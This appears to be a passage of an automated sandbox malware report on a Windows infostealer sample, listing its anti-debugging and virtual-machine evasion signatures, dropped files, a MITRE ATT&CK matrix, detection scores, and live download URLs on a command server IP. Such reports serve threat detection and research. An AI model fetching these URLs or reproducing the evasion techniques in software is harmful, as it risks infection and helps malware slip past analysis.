Source: C:\Users\user\Desktop\file.exe	RDTSC instruction interceptor: First address: 4D8167A second address: 4D8167E instructions: 0x00000000 rdtsc 0x00000002 pop edx 0x00000003 pop eax 0x00000004 rdtsc
Source: C:\Users\user\Desktop\file.exe	RDTSC instruction interceptor: First address: 4D8167E second address: 4D81682 instructions: 0x00000000 rdtsc 0x00000002 push eax 0x00000003 push edx 0x00000004 rdtsc
Source: C:\Users\user\Desktop\file.exe	RDTSC instruction interceptor: First address: 4D81682 second address: 4D816D6 instructions: 0x00000000 rdtsc 0x00000002 pop edx 0x00000003 pop eax 0x00000004 pop edx 0x00000005 pop eax 0x00000006 pop edx 0x00000007 pop eax 0x00000008 mov eax, dword ptr [esi+34h] 0x0000000b pushad 0x0000000c pushfd 0x0000000d jmp 00007F1A796F354Dh 0x00000012 add ax, 9016h 0x00000017 jmp 00007F1A796F3551h 0x0000001c popfd 0x0000001d mov ax, BA87h 0x00000021 popad 0x00000022 mov dword ptr [edx+34h], eax 0x00000025 push eax 0x00000026 push edx 0x00000027 jmp 00007F1A796F3559h 0x0000002c rdtsc
Source: C:\Users\user\Desktop\file.exe	RDTSC instruction interceptor: First address: 4D816D6 second address: 4D816F3 instructions: 0x00000000 rdtsc 0x00000002 pushad 0x00000003 call 00007F1A796B9BF7h 0x00000008 pop esi 0x00000009 push eax 0x0000000a push edx 0x0000000b rdtsc
Source: C:\Users\user\Desktop\file.exe	RDTSC instruction interceptor: First address: 4D816F3 second address: 4D81706 instructions: 0x00000000 rdtsc 0x00000002 pop edx 0x00000003 pop eax 0x00000004 popad 0x00000005 pop edx 0x00000006 pop eax 0x00000007 test ecx, 00000700h 0x0000000d push eax 0x0000000e push edx 0x0000000f push eax 0x00000010 push edx 0x00000011 pushad 0x00000012 popad 0x00000013 rdtsc
Source: C:\Users\user\Desktop\file.exe	RDTSC instruction interceptor: First address: 4D81706 second address: 4D8170A instructions: 0x00000000 rdtsc 0x00000002 push eax 0x00000003 push edx 0x00000004 rdtsc
Source: C:\Users\user\Desktop\file.exe	RDTSC instruction interceptor: First address: 4D8170A second address: 4D81710 instructions: 0x00000000 rdtsc 0x00000002 pop edx 0x00000003 pop eax 0x00000004 pop edx 0x00000005 pop eax 0x00000006 rdtsc
Source: C:\Users\user\Desktop\file.exe	RDTSC instruction interceptor: First address: 4D81710 second address: 4D8176C instructions: 0x00000000 rdtsc 0x00000002 jmp 00007F1A796B9BF9h 0x00000007 pop edx 0x00000008 pop eax 0x00000009 jne 00007F1AE9737BD0h 0x0000000f pushad 0x00000010 pushfd 0x00000011 jmp 00007F1A796B9BECh 0x00000016 adc eax, 06E2D358h 0x0000001c jmp 00007F1A796B9BEBh 0x00000021 popfd 0x00000022 movzx eax, bx 0x00000025 popad 0x00000026 or dword ptr [edx+38h], FFFFFFFFh 0x0000002a push eax 0x0000002b push edx 0x0000002c push eax 0x0000002d push edx 0x0000002e jmp 00007F1A796B9BEDh 0x00000033 rdtsc
Source: C:\Users\user\Desktop\file.exe	RDTSC instruction interceptor: First address: 4D8176C second address: 4D81781 instructions: 0x00000000 rdtsc 0x00000002 jmp 00007F1A796F3551h 0x00000007 pop edx 0x00000008 pop eax 0x00000009 rdtsc
Source: C:\Users\user\Desktop\file.exe	RDTSC instruction interceptor: First address: 4D81781 second address: 4D81787 instructions: 0x00000000 rdtsc 0x00000002 push eax 0x00000003 push edx 0x00000004 pushad 0x00000005 popad 0x00000006 rdtsc
Source: C:\Users\user\Desktop\file.exe	RDTSC instruction interceptor: First address: 4D81787 second address: 4D817C1 instructions: 0x00000000 rdtsc 0x00000002 jmp 00007F1A796F3553h 0x00000007 pop edx 0x00000008 pop eax 0x00000009 pop edx 0x0000000a pop eax 0x0000000b or dword ptr [edx+3Ch], FFFFFFFFh 0x0000000f jmp 00007F1A796F3556h 0x00000014 or dword ptr [edx+40h], FFFFFFFFh 0x00000018 pushad 0x00000019 push eax 0x0000001a push edx 0x0000001b rdtsc
Source: C:\Users\user\Desktop\file.exe	RDTSC instruction interceptor: First address: 4D817C1 second address: 4D817F9 instructions: 0x00000000 rdtsc 0x00000002 mov esi, 672615AFh 0x00000007 pop edx 0x00000008 pop eax 0x00000009 jmp 00007F1A796B9BF4h 0x0000000e popad 0x0000000f pop esi 0x00000010 push eax 0x00000011 push edx 0x00000012 jmp 00007F1A796B9BF7h 0x00000017 rdtsc
Source: C:\Users\user\Desktop\file.exe	RDTSC instruction interceptor: First address: 4D817F9 second address: 4D817FF instructions: 0x00000000 rdtsc 0x00000002 push eax 0x00000003 push edx 0x00000004 push eax 0x00000005 push edx 0x00000006 rdtsc
Source: C:\Users\user\Desktop\file.exe	RDTSC instruction interceptor: First address: 4D817FF second address: 4D81803 instructions: 0x00000000 rdtsc 0x00000002 pop edx 0x00000003 pop eax 0x00000004 rdtsc
Source: C:\Users\user\Desktop\file.exe	RDTSC instruction interceptor: First address: 4DA0560 second address: 4DA059F instructions: 0x00000000 rdtsc 0x00000002 mov dl, 1Ah 0x00000004 pop edx 0x00000005 pop eax 0x00000006 push eax 0x00000007 mov si, di 0x0000000a pop ebx 0x0000000b popad 0x0000000c xchg eax, ebp 0x0000000d jmp 00007F1A796F354Eh 0x00000012 push eax 0x00000013 jmp 00007F1A796F354Bh 0x00000018 xchg eax, ebp 0x00000019 push eax 0x0000001a push edx 0x0000001b jmp 00007F1A796F3555h 0x00000020 rdtsc
Source: C:\Users\user\Desktop\file.exe	RDTSC instruction interceptor: First address: 4DA059F second address: 4DA05A5 instructions: 0x00000000 rdtsc 0x00000002 push eax 0x00000003 push edx 0x00000004 pushad 0x00000005 popad 0x00000006 rdtsc

Tries to evade debugger and weak emulator (self modifying code)

Source: C:\Users\user\Desktop\file.exe	Special instruction interceptor: First address: 825C7A instructions caused by: Self-modifying code
Source: C:\Users\user\Desktop\file.exe	Special instruction interceptor: First address: 825BC0 instructions caused by: Self-modifying code
Source: C:\Users\user\Desktop\file.exe	Special instruction interceptor: First address: A52DE2 instructions caused by: Self-modifying code

Source: C:\Users\user\Desktop\file.exe	Registry key queried: HKEY_LOCAL_MACHINE\SYSTEM\ControlSet001\Control\Class\{4d36e968-e325-11ce-bfc1-08002be10318}\0000 name: DriverDesc			Jump to behavior
Source: C:\Users\user\Desktop\file.exe	Registry key queried: HKEY_LOCAL_MACHINE\HARDWARE\DESCRIPTION\System name: SystemBiosVersion			Jump to behavior
Source: C:\Users\user\Desktop\file.exe	Registry key queried: HKEY_LOCAL_MACHINE\HARDWARE\DESCRIPTION\System name: VideoBiosVersion			Jump to behavior

Source: C:\Users\user\Desktop\file.exe

Code function: 0_2_00AAA02D rdtsc

Source: C:\Users\user\Desktop\file.exe	Window / User API: threadDelayed 1184			Jump to behavior
Source: C:\Users\user\Desktop\file.exe	Window / User API: threadDelayed 1228			Jump to behavior
Source: C:\Users\user\Desktop\file.exe	Window / User API: threadDelayed 1225			Jump to behavior
Source: C:\Users\user\Desktop\file.exe	Window / User API: threadDelayed 1226			Jump to behavior
Source: C:\Users\user\Desktop\file.exe	Window / User API: threadDelayed 1221			Jump to behavior
Source: C:\Users\user\Desktop\file.exe	Window / User API: threadDelayed 1241			Jump to behavior

Source: C:\Users\user\Desktop\file.exe	Dropped PE file which has not been started: C:\Users\user\AppData\Local\Microsoft\Windows\INetCache\IE\ZVZFKMB9\soft[1]			Jump to dropped file
Source: C:\Users\user\Desktop\file.exe	Dropped PE file which has not been started: C:\Users\user\AppData\Local\Temp\svtJDfvf364R4G45effw53J7\Bunifu_UI_v1.5.3.dll			Jump to dropped file
Source: C:\Users\user\Desktop\file.exe	Dropped PE file which has not been started: C:\Users\user\AppData\Local\Temp\svtJDfvf364R4G45effw53J7\Y-Cleaner.exe			Jump to dropped file
Source: C:\Users\user\Desktop\file.exe	Dropped PE file which has not been started: C:\Users\user\AppData\Local\Microsoft\Windows\INetCache\IE\3D003UC5\dll[1]			Jump to dropped file

Source: C:\Users\user\Desktop\file.exe TID: 5316	Thread sleep count: 55 > 30			Jump to behavior
Source: C:\Users\user\Desktop\file.exe TID: 5316	Thread sleep time: -110055s >= -30000s			Jump to behavior
Source: C:\Users\user\Desktop\file.exe TID: 7032	Thread sleep count: 145 > 30			Jump to behavior
Source: C:\Users\user\Desktop\file.exe TID: 7032	Thread sleep count: 109 > 30			Jump to behavior
Source: C:\Users\user\Desktop\file.exe TID: 7032	Thread sleep count: 51 > 30			Jump to behavior
Source: C:\Users\user\Desktop\file.exe TID: 7032	Thread sleep count: 56 > 30			Jump to behavior
Source: C:\Users\user\Desktop\file.exe TID: 5080	Thread sleep count: 1184 > 30			Jump to behavior
Source: C:\Users\user\Desktop\file.exe TID: 5080	Thread sleep time: -2369184s >= -30000s			Jump to behavior
Source: C:\Users\user\Desktop\file.exe TID: 7032	Thread sleep count: 52 > 30			Jump to behavior
Source: C:\Users\user\Desktop\file.exe TID: 7032	Thread sleep count: 42 > 30			Jump to behavior
Source: C:\Users\user\Desktop\file.exe TID: 7032	Thread sleep count: 102 > 30			Jump to behavior
Source: C:\Users\user\Desktop\file.exe TID: 2144	Thread sleep time: -36000s >= -30000s			Jump to behavior
Source: C:\Users\user\Desktop\file.exe TID: 6100	Thread sleep count: 1228 > 30			Jump to behavior
Source: C:\Users\user\Desktop\file.exe TID: 6100	Thread sleep time: -2457228s >= -30000s			Jump to behavior
Source: C:\Users\user\Desktop\file.exe TID: 5216	Thread sleep count: 1225 > 30			Jump to behavior
Source: C:\Users\user\Desktop\file.exe TID: 5216	Thread sleep time: -2451225s >= -30000s			Jump to behavior
Source: C:\Users\user\Desktop\file.exe TID: 4180	Thread sleep count: 1226 > 30			Jump to behavior
Source: C:\Users\user\Desktop\file.exe TID: 4180	Thread sleep time: -2453226s >= -30000s			Jump to behavior
Source: C:\Users\user\Desktop\file.exe TID: 6036	Thread sleep count: 1221 > 30			Jump to behavior
Source: C:\Users\user\Desktop\file.exe TID: 6036	Thread sleep time: -2443221s >= -30000s			Jump to behavior
Source: C:\Users\user\Desktop\file.exe TID: 1216	Thread sleep count: 1241 > 30			Jump to behavior
Source: C:\Users\user\Desktop\file.exe TID: 1216	Thread sleep time: -2483241s >= -30000s			Jump to behavior

Source: file.exe, file.exe, 00000000.00000002.2609374987.00000000009A9000.00000040.00000001.01000000.00000003.sdmp	Binary or memory string: HARDWARE\ACPI\DSDT\VBOX__
Source: Amcache.hve.6.dr	Binary or memory string: VMware
Source: Amcache.hve.6.dr	Binary or memory string: VMware Virtual USB Mouse
Source: Amcache.hve.6.dr	Binary or memory string: vmci.syshbin
Source: Amcache.hve.6.dr	Binary or memory string: VMware, Inc.
Source: Amcache.hve.6.dr	Binary or memory string: VMware20,1hbin@
Source: Amcache.hve.6.dr	Binary or memory string: c:\windows\system32\driverstore\filerepository\vmci.inf_amd64_68ed49469341f563
Source: Amcache.hve.6.dr	Binary or memory string: Ascsi/cdrom&ven_necvmwar&prod_vmware_sata_cd00/4&224f42ef&0&000000
Source: Amcache.hve.6.dr	Binary or memory string: .Z$c:/windows/system32/drivers/vmci.sys
Source: file.exe, 00000000.00000002.2611981318.00000000055B3000.00000004.00000020.00020000.00000000.sdmp, file.exe, 00000000.00000002.2609988074.0000000000DA7000.00000004.00000020.00020000.00000000.sdmp	Binary or memory string: Hyper-V RAW
Source: Amcache.hve.6.dr	Binary or memory string: :scsi/disk&ven_vmware&prod_virtual_disk/4&1656f219&0&000000
Source: Amcache.hve.6.dr	Binary or memory string: pci\ven_15ad&dev_0740&subsys_074015ad,pci\ven_15ad&dev_0740,root\vmwvmcihostdev
Source: Amcache.hve.6.dr	Binary or memory string: c:/windows/system32/drivers/vmci.sys
Source: Amcache.hve.6.dr	Binary or memory string: scsi/cdrom&ven_necvmwar&prod_vmware_sata_cd00/4&224f42ef&0&000000
Source: Amcache.hve.6.dr	Binary or memory string: vmci.sys
Source: Amcache.hve.6.dr	Binary or memory string: VMware-56 4d 43 71 48 15 3d ed-ae e6 c7 5a ec d9 3b f0
Source: Amcache.hve.6.dr	Binary or memory string: vmci.syshbin`
Source: Amcache.hve.6.dr	Binary or memory string: \driver\vmci,\driver\pci
Source: Amcache.hve.6.dr	Binary or memory string: scsi/disk&ven_vmware&prod_virtual_disk/4&1656f219&0&000000
Source: Amcache.hve.6.dr	Binary or memory string: VMware20,1
Source: Amcache.hve.6.dr	Binary or memory string: Microsoft Hyper-V Generation Counter
Source: Amcache.hve.6.dr	Binary or memory string: NECVMWar VMware SATA CD00
Source: Amcache.hve.6.dr	Binary or memory string: VMware Virtual disk SCSI Disk Device
Source: Amcache.hve.6.dr	Binary or memory string: scsi\cdromnecvmwarvmware_sata_cd001.00,scsi\cdromnecvmwarvmware_sata_cd00,scsi\cdromnecvmwar,scsi\necvmwarvmware_sata_cd001,necvmwarvmware_sata_cd001,gencdrom
Source: Amcache.hve.6.dr	Binary or memory string: scsi\diskvmware__virtual_disk____2.0_,scsi\diskvmware__virtual_disk____,scsi\diskvmware__,scsi\vmware__virtual_disk____2,vmware__virtual_disk____2,gendisk
Source: Amcache.hve.6.dr	Binary or memory string: Microsoft Hyper-V Virtualization Infrastructure Driver
Source: Amcache.hve.6.dr	Binary or memory string: VMware PCI VMCI Bus Device
Source: Amcache.hve.6.dr	Binary or memory string: VMware VMCI Bus Device
Source: Amcache.hve.6.dr	Binary or memory string: VMware Virtual RAM
Source: Amcache.hve.6.dr	Binary or memory string: BiosVendor:VMware, Inc.,BiosVersion:VMW201.00V.20829224.B64.2211211842,BiosReleaseDate:11/21/2022,BiosMajorRelease:0xff,BiosMinorRelease:0xff,SystemManufacturer:VMware, Inc.,SystemProduct:VMware20,1,SystemFamily:,SystemSKUNumber:,BaseboardManufacturer:,BaseboardProduct:,BaseboardVersion:,EnclosureType:0x1
Source: file.exe, 00000000.00000002.2609374987.00000000009A9000.00000040.00000001.01000000.00000003.sdmp	Binary or memory string: Restart now?\\.\Oreans.vxd%s\Oreans.vxdXprotEventHARDWARE\ACPI\DSDT\VBOX__SeShutdownPrivilegeSoftware\WinLicenseCreateEvent API Error while extraction the driverGetEnvironmentVariable API Error while extraction the driverOpenSCManager API Error while extraction the driverCreateService API Error while extraction the driverCloseServiceHandle API Error while extraction the driverOpenService API Error while extraction the driverStartService API Error while extraction the driverAPIC error: Cannot find Processors Control Blocks. Please,
Source: Amcache.hve.6.dr	Binary or memory string: vmci.inf_amd64_68ed49469341f563

Source: C:\Users\user\Desktop\file.exe

System information queried: ModuleInformation

Jump to behavior

Source: C:\Users\user\Desktop\file.exe

Process information queried: ProcessInformation

Jump to behavior

Anti Debugging

Hides threads from debuggers

Source: C:\Users\user\Desktop\file.exe

Thread information set: HideFromDebugger

Jump to behavior

Tries to detect sandboxes and other dynamic analysis tools (window names)

Source: C:\Users\user\Desktop\file.exe	Open window title or class name: regmonclass
Source: C:\Users\user\Desktop\file.exe	Open window title or class name: gbdyllo
Source: C:\Users\user\Desktop\file.exe	Open window title or class name: process monitor - sysinternals: www.sysinternals.com
Source: C:\Users\user\Desktop\file.exe	Open window title or class name: procmon_window_class
Source: C:\Users\user\Desktop\file.exe	Open window title or class name: registry monitor - sysinternals: www.sysinternals.com
Source: C:\Users\user\Desktop\file.exe	Open window title or class name: ollydbg
Source: C:\Users\user\Desktop\file.exe	Open window title or class name: filemonclass
Source: C:\Users\user\Desktop\file.exe	Open window title or class name: file monitor - sysinternals: www.sysinternals.com

Source: C:\Users\user\Desktop\file.exe	File opened: NTICE
Source: C:\Users\user\Desktop\file.exe	File opened: SICE
Source: C:\Users\user\Desktop\file.exe	File opened: SIWVID

Source: C:\Users\user\Desktop\file.exe	Process queried: DebugPort			Jump to behavior
Source: C:\Users\user\Desktop\file.exe	Process queried: DebugPort			Jump to behavior
Source: C:\Users\user\Desktop\file.exe	Process queried: DebugPort			Jump to behavior

Source: C:\Users\user\Desktop\file.exe

Code function: 0_2_00AAA02D rdtsc

Source: C:\Users\user\Desktop\file.exe

Code function: 0_2_0040A54A IsProcessorFeaturePresent,IsDebuggerPresent,SetUnhandledExceptionFilter,UnhandledExceptionFilter,

Source: C:\Users\user\Desktop\file.exe

Code function: 0_2_00402A20 VirtualProtect,GetLastError,FormatMessageA,LocalAlloc,OutputDebugStringA,LocalFree,LocalFree,LocalFree,

Source: C:\Users\user\Desktop\file.exe	Code function: 0_2_10007A76 mov eax, dword ptr fs:[00000030h]		0_2_10007A76
Source: C:\Users\user\Desktop\file.exe	Code function: 0_2_10005F25 mov eax, dword ptr fs:[00000030h]		0_2_10005F25
Source: C:\Users\user\Desktop\file.exe	Code function: 0_2_00CEC9DB push dword ptr fs:[00000030h]		0_2_00CEC9DB
Source: C:\Users\user\Desktop\file.exe	Code function: 0_2_04B40D90 mov eax, dword ptr fs:[00000030h]		0_2_04B40D90
Source: C:\Users\user\Desktop\file.exe	Code function: 0_2_04B4092B mov eax, dword ptr fs:[00000030h]		0_2_04B4092B

Source: C:\Users\user\Desktop\file.exe

Code function: 0_2_00402EC0 SetLastError,SetLastError,SetLastError,GetNativeSystemInfo,VirtualAlloc,VirtualAlloc,VirtualAlloc,GetProcessHeap,HeapAlloc,VirtualFree,SetLastError,HeapFree,VirtualAlloc,

Source: C:\Users\user\Desktop\file.exe	Code function: 0_2_004099EA SetUnhandledExceptionFilter,UnhandledExceptionFilter,GetCurrentProcess,TerminateProcess,		0_2_004099EA
Source: C:\Users\user\Desktop\file.exe	Code function: 0_2_0040A54A IsProcessorFeaturePresent,IsDebuggerPresent,SetUnhandledExceptionFilter,UnhandledExceptionFilter,		0_2_0040A54A
Source: C:\Users\user\Desktop\file.exe	Code function: 0_2_0040CDA3 IsDebuggerPresent,SetUnhandledExceptionFilter,UnhandledExceptionFilter,		0_2_0040CDA3
Source: C:\Users\user\Desktop\file.exe	Code function: 0_2_0040A6E0 SetUnhandledExceptionFilter,		0_2_0040A6E0
Source: C:\Users\user\Desktop\file.exe	Code function: 0_2_10002ADF SetUnhandledExceptionFilter,UnhandledExceptionFilter,GetCurrentProcess,TerminateProcess,		0_2_10002ADF
Source: C:\Users\user\Desktop\file.exe	Code function: 0_2_04B49C51 SetUnhandledExceptionFilter,UnhandledExceptionFilter,GetCurrentProcess,TerminateProcess,		0_2_04B49C51
Source: C:\Users\user\Desktop\file.exe	Code function: 0_2_04B4A7B1 IsProcessorFeaturePresent,IsDebuggerPresent,SetUnhandledExceptionFilter,UnhandledExceptionFilter,		0_2_04B4A7B1
Source: C:\Users\user\Desktop\file.exe	Code function: 0_2_04B4D00A IsDebuggerPresent,SetUnhandledExceptionFilter,UnhandledExceptionFilter,		0_2_04B4D00A
Source: C:\Users\user\Desktop\file.exe	Code function: 0_2_04B4A947 SetUnhandledExceptionFilter,		0_2_04B4A947

Source: file.exe, file.exe, 00000000.00000002.2609374987.00000000009A9000.00000040.00000001.01000000.00000003.sdmp

Binary or memory string: bProgram Manager

Source: C:\Users\user\Desktop\file.exe

Code function: 0_3_04D096AC cpuid

Source: C:\Users\user\Desktop\file.exe

Queries volume information: C:\ VolumeInformation

Jump to behavior

Source: C:\Users\user\Desktop\file.exe

Code function: 0_2_004107E2 GetSystemTimeAsFileTime,__ehfuncinfo$??2@YAPAXIABUnothrow_t@std@@@Z,

Source: Amcache.hve.6.dr	Binary or memory string: c:\programdata\microsoft\windows defender\platform\4.18.23080.2006-0\msmpeng.exe
Source: Amcache.hve.6.dr	Binary or memory string: msmpeng.exe
Source: Amcache.hve.6.dr	Binary or memory string: c:\program files\windows defender\msmpeng.exe
Source: Amcache.hve.6.dr	Binary or memory string: MsMpEng.exe

Mitre Att&ck Matrix

Reconnaissance	Resource Development	Initial Access	Execution	Persistence	Privilege Escalation	Defense Evasion	Credential Access	Discovery	Lateral Movement	Collection	Command and Control	Exfiltration	Impact
Gather Victim Identity Information	Acquire Infrastructure	Valid Accounts	3 Command and Scripting Interpreter	1 DLL Side-Loading	2 Process Injection	11 Masquerading	OS Credential Dumping	1 System Time Discovery	Remote Services	1 Archive Collected Data	2 Encrypted Channel	Exfiltration Over Other Network Medium	Abuse Accessibility Features
Credentials	Domains	Default Accounts	Scheduled Task/Job	Boot or Logon Initialization Scripts	1 DLL Side-Loading	24 Virtualization/Sandbox Evasion	LSASS Memory	681 Security Software Discovery	Remote Desktop Protocol	Data from Removable Media	12 Ingress Tool Transfer	Exfiltration Over Bluetooth	Network Denial of Service
Email Addresses	DNS Server	Domain Accounts	At	Logon Script (Windows)	Logon Script (Windows)	2 Process Injection	Security Account Manager	24 Virtualization/Sandbox Evasion	SMB/Windows Admin Shares	Data from Network Shared Drive	1 Non-Application Layer Protocol	Automated Exfiltration	Data Encrypted for Impact
Employee Names	Virtual Private Server	Local Accounts	Cron	Login Hook	Login Hook	1 Deobfuscate/Decode Files or Information	NTDS	3 Process Discovery	Distributed Component Object Model	Input Capture	11 Application Layer Protocol	Traffic Duplication	Data Destruction
Gather Victim Network Information	Server	Cloud Accounts	Launchd	Network Logon Script	Network Logon Script	3 Obfuscated Files or Information	LSA Secrets	1 Application Window Discovery	SSH	Keylogging	Fallback Channels	Scheduled Transfer	Data Encrypted for Impact
Domain Properties	Botnet	Replication Through Removable Media	Scheduled Task	RC Scripts	RC Scripts	12 Software Packing	Cached Domain Credentials	1 File and Directory Discovery	VNC	GUI Input Capture	Multiband Communication	Data Transfer Size Limits	Service Stop
DNS	Web Services	External Remote Services	Systemd Timers	Startup Items	Startup Items	1 Timestomp	DCSync	223 System Information Discovery	Windows Remote Management	Web Portal Capture	Commonly Used Port	Exfiltration Over C2 Channel	Inhibit System Recovery
Network Trust Dependencies	Serverless	Drive-by Compromise	Container Orchestration Job	Scheduled Task/Job	Scheduled Task/Job	1 DLL Side-Loading	Proc Filesystem	System Owner/User Discovery	Cloud Services	Credential API Hooking	Application Layer Protocol	Exfiltration Over Alternative Protocol	Defacement

Behavior Graph

Hide Legend

Legend:

Process
Signature
Created File
DNS/IP Info
Is Dropped
Is Windows Process
Number of created Registry Values
Number of created Files
Visual Basic
Delphi
Java
.Net C# or VB.NET
C, C++ or other language
Is malicious
Internet

Screenshots

Thumbnails

This section contains all screenshots as thumbnails, including those not shown in the slideshow.

Antivirus, Machine Learning and Genetic Malware Detection

Initial Sample

Source	Detection	Scanner	Label	Link
file.exe	45%	ReversingLabs	Win32.Infostealer.Tinba
file.exe	100%	Avira	HEUR/AGEN.1320706
file.exe	100%	Joe Sandbox ML

Dropped Files

Source	Detection	Scanner	Label	Link
C:\Users\user\AppData\Local\Microsoft\Windows\INetCache\IE\ZVZFKMB9\soft[1]	100%	Joe Sandbox ML
C:\Users\user\AppData\Local\Temp\svtJDfvf364R4G45effw53J7\Y-Cleaner.exe	100%	Joe Sandbox ML
C:\Users\user\AppData\Local\Microsoft\Windows\INetCache\IE\3D003UC5\dll[1]	0%	ReversingLabs
C:\Users\user\AppData\Local\Temp\svtJDfvf364R4G45effw53J7\Bunifu_UI_v1.5.3.dll	0%	ReversingLabs

Unpacked PE Files

⊘No Antivirus matches

Domains

⊘No Antivirus matches

URLs

Source	Detection	Scanner	Label	Link
http://80.82.65.70/files/download6	0%	Avira URL Cloud	safe
http://80.82.65.70/dll/keyU	0%	Avira URL Cloud	safe
http://80.82.65.70/files/downloadh	0%	Avira URL Cloud	safe
http://80.82.65.70/files/download5	0%	Avira URL Cloud	safe
http://80.82.65.70/files/downloadM~r	0%	Avira URL Cloud	safe
http://80.82.65.70/files/download0/files/download	0%	Avira URL Cloud	safe
http://80.82.65.70/soft/download6	0%	Avira URL Cloud	safe
http://80.82.65.70/files/downloadA	0%	Avira URL Cloud	safe
http://80.82.65.70/files/download0	0%	Avira URL Cloud	safe
http://80.82.65.70/dll/key=	0%	Avira URL Cloud	safe
http://80.82.65.70/add?substr=mixtwo&s=three&sub=empS	0%	Avira URL Cloud	safe
http://80.82.65.70/soft/downloadi~N	0%	Avira URL Cloud	safe
http://80.82.65.70/files/downloadF	0%	Avira URL Cloud	safe
http://80.82.65.70/files/download#	100%	Avira URL Cloud	malware
http://80.82.65.70/files/download$	0%	Avira URL Cloud	safe

Domains and IPs

Contacted Domains

⊘No contacted domains info

Contacted URLs

Name	Malicious	Antivirus Detection	Reputation
http://80.82.65.70/soft/download	false		high
http://80.82.65.70/add?substr=mixtwo&s=three&sub=emp	false		high
http://80.82.65.70/dll/download	false		high
http://80.82.65.70/dll/key	false		high
http://80.82.65.70/files/download	false		high

URLs from Memory and Binaries

Name	Source	Malicious	Antivirus Detection	Reputation
http://80.82.65.70/files/downloadh	file.exe, 00000000.00000003.2057643849.0000000005690000.00000004.00000020.00020000.00000000.sdmp, file.exe, 00000000.00000003.2280659416.0000000005690000.00000004.00000020.00020000.00000000.sdmp, file.exe, 00000000.00000003.2210244034.0000000005690000.00000004.00000020.00020000.00000000.sdmp, file.exe, 00000000.00000003.2235376839.0000000005690000.00000004.00000020.00020000.00000000.sdmp, file.exe, 00000000.00000003.2082783354.0000000005690000.00000004.00000020.00020000.00000000.sdmp, file.exe, 00000000.00000003.2109447880.0000000005690000.00000004.00000020.00020000.00000000.sdmp, file.exe, 00000000.00000003.2280585374.0000000005690000.00000004.00000020.00020000.00000000.sdmp, file.exe, 00000000.00000003.2159672790.0000000005690000.00000004.00000020.00020000.00000000.sdmp, file.exe, 00000000.00000003.2260450014.0000000005690000.00000004.00000020.00020000.00000000.sdmp, file.exe, 00000000.00000003.2313365499.0000000005690000.00000004.00000020.00020000.00000000.sdmp, file.exe, 00000000.00000003.2134573830.0000000005690000.00000004.00000020.00020000.00000000.sdmp, file.exe, 00000000.00000003.2330322141.0000000005690000.00000004.00000020.00020000.00000000.sdmp, file.exe, 00000000.00000003.2185003149.0000000005690000.00000004.00000020.00020000.00000000.sdmp	false	Avira URL Cloud: safe	unknown
http://80.82.65.70/dll/keyU	file.exe, 00000000.00000002.2609988074.0000000000DA7000.00000004.00000020.00020000.00000000.sdmp	false	Avira URL Cloud: safe	unknown
http://80.82.65.70/files/download0	file.exe, 00000000.00000003.2057643849.0000000005690000.00000004.00000020.00020000.00000000.sdmp, file.exe, 00000000.00000003.2280659416.0000000005690000.00000004.00000020.00020000.00000000.sdmp, file.exe, 00000000.00000003.2210244034.0000000005690000.00000004.00000020.00020000.00000000.sdmp, file.exe, 00000000.00000003.2235376839.0000000005690000.00000004.00000020.00020000.00000000.sdmp, file.exe, 00000000.00000003.2082783354.0000000005690000.00000004.00000020.00020000.00000000.sdmp, file.exe, 00000000.00000003.2109447880.0000000005690000.00000004.00000020.00020000.00000000.sdmp, file.exe, 00000000.00000003.2280585374.0000000005690000.00000004.00000020.00020000.00000000.sdmp, file.exe, 00000000.00000003.2159672790.0000000005690000.00000004.00000020.00020000.00000000.sdmp, file.exe, 00000000.00000003.2260450014.0000000005690000.00000004.00000020.00020000.00000000.sdmp, file.exe, 00000000.00000003.2032603186.0000000005690000.00000004.00000020.00020000.00000000.sdmp, file.exe, 00000000.00000003.2313365499.0000000005690000.00000004.00000020.00020000.00000000.sdmp, file.exe, 00000000.00000003.2134573830.0000000005690000.00000004.00000020.00020000.00000000.sdmp, file.exe, 00000000.00000003.2330322141.0000000005690000.00000004.00000020.00020000.00000000.sdmp, file.exe, 00000000.00000003.2185003149.0000000005690000.00000004.00000020.00020000.00000000.sdmp	false	Avira URL Cloud: safe	unknown
https://g-cleanit.hk	file.exe, 00000000.00000003.2330322141.000000000565E000.00000004.00000020.00020000.00000000.sdmp, file.exe, 00000000.00000003.2327084794.000000000581C000.00000004.00000020.00020000.00000000.sdmp, file.exe, 00000000.00000003.2330368931.0000000005601000.00000004.00000020.00020000.00000000.sdmp, file.exe, 00000000.00000003.2328880830.000000000581C000.00000004.00000020.00020000.00000000.sdmp, soft[1].0.dr, Y-Cleaner.exe.0.dr	false		high
http://80.82.65.70/files/download5	file.exe, 00000000.00000003.2057643849.0000000005690000.00000004.00000020.00020000.00000000.sdmp, file.exe, 00000000.00000003.2280659416.0000000005690000.00000004.00000020.00020000.00000000.sdmp, file.exe, 00000000.00000003.2210244034.0000000005690000.00000004.00000020.00020000.00000000.sdmp, file.exe, 00000000.00000003.2235376839.0000000005690000.00000004.00000020.00020000.00000000.sdmp, file.exe, 00000000.00000003.2082783354.0000000005690000.00000004.00000020.00020000.00000000.sdmp, file.exe, 00000000.00000003.2109447880.0000000005690000.00000004.00000020.00020000.00000000.sdmp, file.exe, 00000000.00000003.2007493400.0000000005690000.00000004.00000020.00020000.00000000.sdmp, file.exe, 00000000.00000003.2280585374.0000000005690000.00000004.00000020.00020000.00000000.sdmp, file.exe, 00000000.00000003.2159672790.0000000005690000.00000004.00000020.00020000.00000000.sdmp, file.exe, 00000000.00000003.2260450014.0000000005690000.00000004.00000020.00020000.00000000.sdmp, file.exe, 00000000.00000003.2032603186.0000000005690000.00000004.00000020.00020000.00000000.sdmp, file.exe, 00000000.00000003.2313365499.0000000005690000.00000004.00000020.00020000.00000000.sdmp, file.exe, 00000000.00000003.2134573830.0000000005690000.00000004.00000020.00020000.00000000.sdmp, file.exe, 00000000.00000003.2330322141.0000000005690000.00000004.00000020.00020000.00000000.sdmp, file.exe, 00000000.00000003.2185003149.0000000005690000.00000004.00000020.00020000.00000000.sdmp	false	Avira URL Cloud: safe	unknown
http://80.82.65.70/soft/download6	file.exe, 00000000.00000003.2313365499.0000000005690000.00000004.00000020.00020000.00000000.sdmp, file.exe, 00000000.00000003.2330322141.0000000005690000.00000004.00000020.00020000.00000000.sdmp	false	Avira URL Cloud: safe	unknown
